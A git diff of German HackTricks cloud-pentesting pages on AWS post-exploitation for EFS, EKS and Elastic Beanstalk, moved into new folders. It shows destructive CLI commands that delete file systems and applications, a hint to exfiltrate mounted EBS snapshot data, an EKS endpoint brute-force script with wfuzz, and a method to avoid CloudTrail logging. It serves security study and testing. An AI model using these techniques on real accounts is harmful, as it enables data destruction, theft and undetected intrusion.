+{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
+]
+}
+```
+4) Wenn die task startet, kann der container die snapshot contents am konfigurierten mount path (z. B. `/loot`) lesen. Exfiltrate via the task’s network/logs.
+
+Bereinigung:
+```bash
+aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
+aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
+aws ecs deregister-task-definition ht-ebs-read
+```
+
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
deleted file mode 100644
index 4fce2fb0d..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
+++ /dev/null
@@ -1,46 +0,0 @@
-# AWS - EFS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EFS
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-efs-enum.md
-{{#endref}}
-
-### `elasticfilesystem:DeleteMountTarget`
-
-Ein Angreifer könnte ein Mount-Ziel löschen, was potenziell den Zugriff auf das EFS-Dateisystem für Anwendungen und Benutzer, die auf dieses Mount-Ziel angewiesen sind, stören könnte.
-```sql
-aws efs delete-mount-target --mount-target-id <value>
-```
-**Potenzielle Auswirkungen**: Störung des Zugriffs auf das Dateisystem und potenzieller Datenverlust für Benutzer oder Anwendungen.
-
-### `elasticfilesystem:DeleteFileSystem`
-
-Ein Angreifer könnte ein gesamtes EFS-Dateisystem löschen, was zu Datenverlust führen und Anwendungen beeinträchtigen könnte, die auf das Dateisystem angewiesen sind.
-```perl
-aws efs delete-file-system --file-system-id <value>
-```
-**Potenzielle Auswirkungen**: Datenverlust und Dienstunterbrechung für Anwendungen, die das gelöschte Dateisystem verwenden.
-
-### `elasticfilesystem:UpdateFileSystem`
-
-Ein Angreifer könnte die Eigenschaften des EFS-Dateisystems aktualisieren, wie z.B. den Durchsatzmodus, um dessen Leistung zu beeinträchtigen oder Ressourcenerschöpfung zu verursachen.
-```sql
-aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
-```
-**Potenzielle Auswirkungen**: Verschlechterung der Dateisystemleistung oder Ressourcenerschöpfung.
-
-### `elasticfilesystem:CreateAccessPoint` und `elasticfilesystem:DeleteAccessPoint`
-
-Ein Angreifer könnte Zugriffspunkte erstellen oder löschen, die Zugriffskontrolle ändern und sich möglicherweise unbefugten Zugriff auf das Dateisystem gewähren.
-```arduino
-aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
-aws efs delete-access-point --access-point-id <value>
-```
-**Potenzielle Auswirkungen**: Unbefugter Zugriff auf das Dateisystem, Datenexposition oder -änderung.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md
new file mode 100644
index 000000000..aa27d7b36
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md
@@ -0,0 +1,46 @@
+# AWS - EFS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EFS
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-efs-enum.md
+{{#endref}}
+
+### `elasticfilesystem:DeleteMountTarget`
+
+Ein attacker könnte ein mount target löschen und dadurch den Zugriff auf das EFS file system für Anwendungen und Benutzer, die auf dieses mount target angewiesen sind, stören.
+```sql
+aws efs delete-mount-target --mount-target-id <value>
+```
+**Mögliche Auswirkungen**: Unterbrechung des Zugriffs auf das Dateisystem und möglicher Datenverlust für Benutzer oder Anwendungen.
+
+### `elasticfilesystem:DeleteFileSystem`
+
+Ein Angreifer könnte ein gesamtes EFS-Dateisystem löschen, was zu Datenverlust führen und Anwendungen beeinträchtigen könnte, die auf dieses Dateisystem angewiesen sind.
+```perl
+aws efs delete-file-system --file-system-id <value>
+```
+**Mögliche Auswirkungen**: Datenverlust und Dienstunterbrechungen für Anwendungen, die das gelöschte Dateisystem verwenden.
+
+### `elasticfilesystem:UpdateFileSystem`
+
+Ein Angreifer könnte die Eigenschaften des EFS-Dateisystems aktualisieren, z. B. den Durchsatzmodus, um dessen Leistung zu beeinträchtigen oder eine Ressourcenerschöpfung zu verursachen.
+```sql
+aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
+```
+**Potentielle Auswirkungen**: Leistungseinbußen des Dateisystems oder Erschöpfung von Ressourcen.
+
+### `elasticfilesystem:CreateAccessPoint` und `elasticfilesystem:DeleteAccessPoint`
+
+Ein Angreifer könnte Access Points erstellen oder löschen, die Zugriffskontrolle verändern und sich möglicherweise unautorisierten Zugriff auf das Dateisystem verschaffen.
+```arduino
+aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
+aws efs delete-access-point --access-point-id <value>
+```
+**Mögliche Auswirkungen**: Unbefugter Zugriff auf das Dateisystem, Datenoffenlegung oder -manipulation.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
deleted file mode 100644
index 319999488..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
+++ /dev/null
@@ -1,143 +0,0 @@
-# AWS - EKS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EKS
-
-Für weitere Informationen siehe
-
-{{#ref}}
-../aws-services/aws-eks-enum.md
-{{#endref}}
-
-### Enumerieren Sie den Cluster über die AWS-Konsole
-
-Wenn Sie die Berechtigung **`eks:AccessKubernetesApi`** haben, können Sie **Kubernetes-Objekte** über die AWS EKS-Konsole anzeigen ([Erfahren Sie mehr](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
-
-### Verbinden Sie sich mit dem AWS Kubernetes-Cluster
-
-- Einfache Methode:
-```bash
-# Generate kubeconfig
-aws eks update-kubeconfig --name aws-eks-dev
-```
-- Nicht so einfacher Weg:
-
-Wenn Sie **ein Token erhalten können** mit **`aws eks get-token --name <cluster_name>`**, aber keine Berechtigungen haben, um Cluster-Informationen abzurufen (describeCluster), könnten Sie **Ihre eigene `~/.kube/config` vorbereiten**. Allerdings benötigen Sie mit dem Token immer noch den **URL-Endpunkt, um sich zu verbinden** (wenn Sie es geschafft haben, ein JWT-Token von einem Pod zu erhalten, lesen Sie [hier](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) und den **Namen des Clusters**.
-
-In meinem Fall habe ich die Informationen nicht in den CloudWatch-Protokollen gefunden, aber ich **fand sie in den LaunchTemplates userData** und in **EC2-Maschinen in userData ebenfalls**. Sie können diese Informationen leicht in **userData** sehen, zum Beispiel im nächsten Beispiel (der Clustername war cluster-name):
-```bash
-API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
-
-/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
-```
-<details>
-
-<summary>kube config</summary>
-```yaml
-describe-cache-parametersapiVersion: v1
-clusters:
-- cluster:
-certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
-server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
-name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-contexts:
-- context:
-cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-kind: Config
-preferences: {}
-users:
-- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-user:
-exec:
-apiVersion: client.authentication.k8s.io/v1beta1
-args:
-- --region
-- us-west-2
-- --profile
-- <profile>
-- eks
-- get-token
-- --cluster-name
-- <cluster-name>
-command: aws
-env: null
-interactiveMode: IfAvailable
-provideClusterInfo: false
-```
-</details>
-
-### Von AWS zu Kubernetes
-
-Der **Ersteller** des **EKS-Clusters** wird **IMMER** in der Lage sein, in den Kubernetes-Cluster-Bereich der Gruppe **`system:masters`** (k8s-Admin) zu gelangen. Zum Zeitpunkt des Schreibens gibt es **keinen direkten Weg**, um **herauszufinden, wer** den Cluster erstellt hat (Sie können CloudTrail überprüfen). Und es gibt **keinen Weg**, um dieses **Privileg** zu **entfernen**.
-
-Der Weg, um **Zugriff auf K8s für weitere AWS IAM-Benutzer oder -Rollen** zu gewähren, ist die Verwendung des **configmap** **`aws-auth`**.
-
-> [!WARNING]
-> Daher wird jeder mit **Schreibzugriff** auf die Config-Map **`aws-auth`** in der Lage sein, den **gesamten Cluster zu kompromittieren**.
-
-Für weitere Informationen darüber, wie man **zusätzliche Privilegien für IAM-Rollen und -Benutzer** im **gleichen oder unterschiedlichen Konto** gewährt und wie man dies **ausnutzen** kann, siehe [**privesc check this page**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
-
-Überprüfen Sie auch [**diesen großartigen**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **Beitrag, um zu erfahren, wie die Authentifizierung IAM -> Kubernetes funktioniert**.
-
-### Von Kubernetes zu AWS
-
-Es ist möglich, eine **OpenID-Authentifizierung für Kubernetes-Dienstkonten** zuzulassen, um ihnen zu ermöglichen, Rollen in AWS zu übernehmen. Erfahren Sie, wie [**das auf dieser Seite funktioniert**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
-
-### GET Api Server-Endpunkt aus einem JWT-Token
-
-Durch das Decodieren des JWT-Tokens erhalten wir die Cluster-ID und auch die Region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Dabei ist bekannt, dass das Standardformat für die EKS-URL ist
-```bash
-https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
-```
-Fand keine Dokumentation, die die Kriterien für die 'zwei Zeichen' und die 'Zahl' erklärt. Aber bei eigenen Tests sehe ich, dass diese häufig vorkommen:
-
-- gr7
-- yl4
-
-Jedenfalls sind es nur 3 Zeichen, die wir bruteforcen können. Verwende das folgende Skript, um die Liste zu generieren.
-```python
-from itertools import product
-from string import ascii_lowercase
-
-letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
-number_combinations = product('0123456789', repeat = 1)
-
-result = [
-f'{''.join(comb[0])}{comb[1][0]}'
-for comb in product(letter_combinations, number_combinations)
-]
-
-with open('out.txt', 'w') as f:
-f.write('\n'.join(result))
-```
-Dann mit wfuzz
-```bash
-wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
-```
-> [!WARNING]
-> Denken Sie daran, & zu ersetzen.
-
-### Umgehen von CloudTrail
-
-Wenn ein Angreifer die Anmeldeinformationen eines AWS mit **Berechtigungen über ein EKS** erhält. Wenn der Angreifer seine eigene **`kubeconfig`** konfiguriert (ohne **`update-kubeconfig`** aufzurufen), wie zuvor erklärt, generiert **`get-token`** keine Protokolle in CloudTrail, da es nicht mit der AWS-API interagiert (es erstellt das Token nur lokal).
-
-Wenn der Angreifer also mit dem EKS-Cluster kommuniziert, **wird CloudTrail nichts protokollieren, was mit dem gestohlenen Benutzer und dem Zugriff darauf zu tun hat**.
-
-Beachten Sie, dass der **EKS-Cluster möglicherweise Protokolle aktiviert hat**, die diesen Zugriff protokollieren (obwohl sie standardmäßig deaktiviert sind).
-
-### EKS Lösegeld?
-
-Standardmäßig hat der **Benutzer oder die Rolle, die** einen Cluster erstellt hat, **IMMER Administratorrechte** über den Cluster. Und das ist der einzige "sichere" Zugriff, den AWS über den Kubernetes-Cluster hat.
-
-Wenn also ein **Angreifer einen Cluster mit Fargate kompromittiert** und **alle anderen Administratoren entfernt** und **den AWS-Benutzer/die Rolle, die den Cluster erstellt hat, löscht**, ~~könnte der Angreifer **den Cluster erpresst haben**~~**.
-
-> [!TIP]
-> Beachten Sie, dass es, wenn der Cluster **EC2-VMs** verwendet, möglich sein könnte, Administratorrechte von dem **Knoten** zu erhalten und den Cluster wiederherzustellen.
->
-> Tatsächlich, wenn der Cluster Fargate verwendet, könnten Sie EC2-Knoten oder alles zu EC2 in den Cluster verschieben und ihn wiederherstellen, indem Sie auf die Tokens im Knoten zugreifen.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md
new file mode 100644
index 000000000..f51bc5123
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md
@@ -0,0 +1,143 @@
+# AWS - EKS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EKS
+
+Für weitere Informationen siehe
+
+{{#ref}}
+../../aws-services/aws-eks-enum.md
+{{#endref}}
+
+### Enumerate the cluster from the AWS Console
+
+Wenn Sie die Berechtigung **`eks:AccessKubernetesApi`** haben, können Sie **Kubernetes-Objekte anzeigen** über die AWS EKS-Konsole ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
+
+### Mit dem AWS Kubernetes Cluster verbinden
+
+- Einfache Methode:
+```bash
+# Generate kubeconfig
+aws eks update-kubeconfig --name aws-eks-dev
+```
+- Nicht der einfache Weg:
+
+Wenn du **ein Token erhalten kannst** mit **`aws eks get-token --name <cluster_name>`** aber keine Berechtigungen hast, Cluster-Informationen abzurufen (describeCluster), könntest du **deine eigene `~/.kube/config` vorbereiten**. Allerdings brauchst du, obwohl du das Token hast, noch den **URL-Endpunkt, um dich zu verbinden** (wenn du es geschafft hast, ein JWT token aus einem pod zu bekommen, lies [here](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) und den **Namen des Clusters**.
+
+In meinem Fall habe ich die Info nicht in den CloudWatch-Logs gefunden, sondern in den LaunchTemaplates userData und auch in den userData der EC2-Maschinen. Diese Info sieht man in userData leicht, zum Beispiel im nächsten Beispiel (der Clustername war cluster-name):
+```bash
+API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
+
+/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
+```
+<details>
+
+<summary>kube config</summary>
+```yaml
+describe-cache-parametersapiVersion: v1
+clusters:
+- cluster:
+certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
+server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
+name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+contexts:
+- context:
+cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+kind: Config
+preferences: {}
+users:
+- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+user:
+exec:
+apiVersion: client.authentication.k8s.io/v1beta1
+args:
+- --region
+- us-west-2
+- --profile
+- <profile>
+- eks
+- get-token
+- --cluster-name
+- <cluster-name>
+command: aws
+env: null
+interactiveMode: IfAvailable
+provideClusterInfo: false
+```
+</details>
+
+### From AWS to Kubernetes
+
+Der **creator** des **EKS cluster** wird IMMER in der Lage sein, in den kubernetes-Clusterteil der Gruppe **`system:masters`** (k8s admin) zu gelangen. Zum Zeitpunkt dieses Schreibens gibt es **keinen direkten Weg**, herauszufinden, **wer den Cluster erstellt hat** (du kannst CloudTrail prüfen). Und es gibt **keinen Weg**, dieses **Privileg zu entfernen**.
+
+Der Weg, **mehr AWS IAM users oder roles Zugriff auf K8s** zu gewähren, erfolgt über das **configmap** **`aws-auth`**.
+
+> [!WARNING]
+> Daher kann jeder mit **write access** auf das ConfigMap **`aws-auth`** den **gesamten Cluster kompromittieren**.
+
+Für mehr Informationen darüber, wie man **zusätzliche Privilegien für IAM roles & users** im **gleichen oder einem anderen Account** gewährt und wie man dies **missbrauchen** kann, siehe [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps).
+
+Siehe auch[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**.
+
+### From Kubernetes to AWS
+
+Es ist möglich, eine **OpenID authentication for kubernetes service account** zu erlauben, damit diese Rollen in AWS übernehmen können. Erfahre, wie [**this work in this page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
+
+### GET Api Server Endpoint from a JWT Token
+
+Beim Decodieren des JWT token erhalten wir die cluster id & auch die Region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Dabei ist zu wissen, dass das Standardformat für EKS url ist
+```bash
+https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
+```
+Ich habe keine Dokumentation gefunden, die die Kriterien für die 'two chars' und die 'number' erklärt. Nach einigen Tests meinerseits sehe ich jedoch wiederholt diese:
+
+- gr7
+- yl4
+
+Es sind sowieso nur 3 chars — wir können sie bruteforce. Nutze das untenstehende Script, um die Liste zu generieren
+```python
+from itertools import product
+from string import ascii_lowercase
+
+letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
+number_combinations = product('0123456789', repeat = 1)
+
+result = [
+f'{''.join(comb[0])}{comb[1][0]}'
+for comb in product(letter_combinations, number_combinations)
+]
+
+with open('out.txt', 'w') as f:
+f.write('\n'.join(result))
+```
+Dann mit wfuzz
+```bash
+wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
+```
+> [!WARNING]
+> Denk daran, & zu ersetzen .
+
+### Umgehung von CloudTrail
+
+Wenn ein Angreifer Anmeldeinformationen eines AWS-Kontos mit **Berechtigungen für ein EKS** erlangt. Wenn der Angreifer seine eigene **`kubeconfig`** konfiguriert (ohne **`update-kubeconfig`** aufzurufen), wie zuvor erläutert, erzeugt **`get-token`** keine Logs in Cloudtrail, weil es nicht mit der AWS API interagiert (es erstellt das Token nur lokal).
+
+Wenn der Angreifer also mit dem EKS-Cluster kommuniziert, **cloudtrail wird nichts protokollieren, was mit dem gestohlenen Benutzer und dessen Zugriff zusammenhängt**.
+
+Beachte, dass das **EKS-Cluster möglicherweise Logs aktiviert hat**, die diesen Zugriff protokollieren (obwohl sie standardmäßig deaktiviert sind).
+
+### EKS Lösegeld?
+
+Standardmäßig hat der **Benutzer oder die Rolle, die einen Cluster erstellt hat**, **IMMER Admin-Rechte** über den Cluster. Und das ist der einzige "sichere" Zugriff, den AWS auf den Kubernetes-Cluster haben wird.
+
+Also, wenn ein **Angreifer einen Cluster mit fargate kompromittiert** und **alle anderen Admins entfernt** und **den AWS user/role löscht, der den Cluster erstellt hat**, ~~könnte der Angreifer den Cluster erpresst haben~~.
+
+> [!TIP]
+> Beachte, dass wenn der Cluster **EC2 VMs** verwendet hat, es möglich sein kann, Admin-Rechte vom **Node** zu erlangen und den Cluster wiederherzustellen.
+>
+> Tatsächlich, wenn der Cluster Fargate verwendet, könntest du EC2-Nodes erstellen oder alles in den Cluster auf EC2 verschieben und ihn wiederherstellen, indem du auf die tokens im Node zugreifst.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
deleted file mode 100644
index f63242164..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
+++ /dev/null
@@ -1,70 +0,0 @@
-# AWS - Elastic Beanstalk Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Elastic Beanstalk
-
-Für weitere Informationen:
-
-{{#ref}}
-../aws-services/aws-elastic-beanstalk-enum.md
-{{#endref}}
-
-### `elasticbeanstalk:DeleteApplicationVersion`
-
-> [!NOTE]
-> TODO: Testen, ob weitere Berechtigungen erforderlich sind
-
-Ein Angreifer mit der Berechtigung `elasticbeanstalk:DeleteApplicationVersion` kann **eine vorhandene Anwendungsversion löschen**. Diese Aktion könnte die Bereitstellungspipelines der Anwendung stören oder den Verlust spezifischer Anwendungsversionen verursachen, wenn diese nicht gesichert sind.
-```bash
-aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
-```
-**Potenzielle Auswirkungen**: Störung der Anwendungsbereitstellung und potenzieller Verlust von Anwendungsversionen.
-
-### `elasticbeanstalk:TerminateEnvironment`
-
-> [!NOTE]
-> TODO: Testen, ob weitere Berechtigungen erforderlich sind
-
-Ein Angreifer mit der Berechtigung `elasticbeanstalk:TerminateEnvironment` kann **eine bestehende Elastic Beanstalk-Umgebung beenden**, was zu Ausfallzeiten der Anwendung und potenziellem Datenverlust führen kann, wenn die Umgebung nicht für Backups konfiguriert ist.
-```bash
-aws elasticbeanstalk terminate-environment --environment-name my-existing-env
-```
-**Potenzielle Auswirkungen**: Ausfall der Anwendung, potenzieller Datenverlust und Störung der Dienste.
-
-### `elasticbeanstalk:DeleteApplication`
-
-> [!NOTE]
-> TODO: Testen, ob weitere Berechtigungen erforderlich sind
-
-Ein Angreifer mit der Berechtigung `elasticbeanstalk:DeleteApplication` kann **eine gesamte Elastic Beanstalk-Anwendung löschen**, einschließlich aller ihrer Versionen und Umgebungen. Diese Aktion könnte zu einem erheblichen Verlust von Anwendungsressourcen und -konfigurationen führen, wenn keine Sicherung vorhanden ist.
-```bash
-aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
-```
-**Potenzielle Auswirkungen**: Verlust von Anwendungsressourcen, Konfigurationen, Umgebungen und Anwendungsversionen, was zu Dienstunterbrechungen und potenziellem Datenverlust führen kann.
-
-### `elasticbeanstalk:SwapEnvironmentCNAMEs`
-
-> [!NOTE]
-> TODO: Testen, ob weitere Berechtigungen erforderlich sind
-
